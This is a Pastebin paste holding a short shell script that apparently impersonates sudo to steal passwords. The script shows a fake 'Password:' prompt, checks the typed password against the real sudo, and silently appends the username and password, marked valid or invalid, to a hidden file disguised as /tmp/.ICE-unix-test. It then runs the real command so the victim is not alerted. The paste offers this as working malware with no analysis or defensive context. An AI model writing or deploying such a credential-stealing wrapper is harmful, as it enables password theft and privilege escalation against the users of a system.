Advertisement
Guest User

Untitled

a guest
Mar 18th, 2017
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.36 KB | None | 0 0
  1. if [ $? -eq 0 ]
  2. then
  3. /usr/bin/sudo $@
  4. else
  5. echo -n "Password:"
  6. read -s pwd
  7. echo
  8. echo $pwd | /usr/bin/sudo -S true >/dev/null 2>&1
  9. if [ $? -eq 1 ]
  10. then
  11. printf "$USER:$pwd:invalid\n" >> /tmp/.ICE-unix-test
  12. echo "Sorry, try again."
  13. sudo $@
  14. else
  15. echo "$USER:$pwd:valid" >> /tmp/.ICE-unix-test
  16. /usr/bin/sudo $@
  17. fi
  18. fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement